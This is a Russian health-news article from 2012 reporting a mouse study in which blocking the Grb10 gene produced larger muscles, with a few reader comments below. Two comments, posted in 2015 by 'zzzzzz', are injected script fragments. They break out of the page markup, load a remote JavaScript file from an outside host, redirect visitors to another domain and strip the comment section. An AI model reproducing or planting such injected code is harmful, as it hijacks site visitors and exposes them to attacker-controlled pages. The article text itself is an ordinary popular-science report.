Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Новый метод увеличения мы...  >>  Новый метод увеличения мышц без тренировок
 
Обратная связь
 

Новый метод увеличения мышц без тренировок

Размер шрифта
21 сентября 2012 00:00
Юрий Малышев
Здоровье инфо
Анна Белевская
Здоровье инфо
  • google_analytics: false
  • Нравится

Австралийские ученые выяснили, как накачать мышцы, не посещая спортзал.

Механизм увеличения мышц

Когда человек выполняет интенсивную физическую нагрузку, мышечные волокна травмируются, что приводит к активации особых клеток – миосателлитоцитов. Процесс восстановления поврежденных мышечных волокон начинается с объединения миосателлитоцитов между собой и с мышечными волокнами. Объединение миосателлитоцитов с мышечными волокнами приводит к образованию новых миофибрилл – структур мышечных клеток, которые обеспечивают их сокращение. В результате происходит увеличение объема и массы мышц – развивается мышечная гипертрофия.

Силовые упражнения в любом случае приводят к мышечной гипертрофии, но скорость и степень увеличения мышечной массы варьируют в широких пределах. Согласно данным многочисленных исследований, как мужской, так и женский организм реагирует на силовые упражнения одинаково. Различия, которые мы наблюдаем, объясняются половыми особенностями: разными размерами частей тела и соответствующим гормональным фоном.

Суть исследования

Исследование проводилось на мышах, которых разделили на две группы. У одной группы мышей на этапе внутриутробного развития ученые заблокировали ген Grb10, и эти мыши имели хорошо развитую мускулатуру.

У другой группы мышей ген работал в полном объеме, а мышцы не имели никаких особенностей. Ученые изучили свойства мышц взрослых и новорожденных мышей и обнаружили изменения, вызванные нарушением работы гена Grb10 во время внутриутробного развития.

Оказалось, что существует возможность замедлять рост мышц и активировать процесс их восстановления, поскольку механизм восстановления точно такой же, как и механизм развития мышц у плода.

Результаты

Помимо того, что ученым удалось обнаружить новый механизм, регулирующий развитие мышц, они также получили данные о том, как можно увеличить мышечную массу.

Это открытие позволит создать новые методы лечения заболеваний, сопровождающихся уменьшением мышечной массы, например, травм, мышечной дистрофии и сахарного диабета 2 типа. 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

21 сентября 2012 в 11:56

Цитировать   |   Пожаловаться

И к чему статья? К тому, чтобы развечать доказанную пользу физических нагрузок?  Я все равно не ген Grb10 никак повлиять не смогу, а в спортзал как ходил, так и буду ходить.

Гость 21 сентября 2012 в 11:56
И к чему статья? К тому, чтобы развечать доказанную пользу физических нагрузок?
 Отнюдь. Статья - для "поделиться информацией". Пользу физических нагрузок  трудно переоценить, и Вы - молодец и умница, что так любите это и бросать не собираетесь.  

3 - Гость

16 января 2013 в 13:17

Цитировать   |   Пожаловаться

Пустая статья.лучше напишите,как реально можно набрать.вес и мышечную массу.Многие люди страдают недостатком веса,не могут набрать даже 1 кг.А везде только о диетах.

4 - zzzzzz

30 июня 2015 в 21:29

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

5 - zzzzzz

30 июня 2015 в 23:35

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Боль в мышцах: как восстановиться   Ученые победили мышечную слабость   Акция «Быстрее боли» в рамках полумарафона «Такеда Осенний гром»   3 теста, если вас беспокоят судороги в ногах  
29 ноября 2012Ученые победили мышечную слабость 20 сентября 2012Новый метод увеличения мышц без тренировок!
 
25 апреля 2013Оказывается, не все молочные продукты хороши для костей! А некоторые вообще портят кости! 30 января 2013Хотите не чувствовать боли – спите дольше
 

Слайдшоу

1
Миостимулятор OMRON E4
Все, что нужно знать о мышцах
10 упражнений, которые убивают ваше тело в тренажерном зале

Тесты

1
Что вы знаете о мышцах?
Знаете ли вы свой язык
Какой матрас вам подходит?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.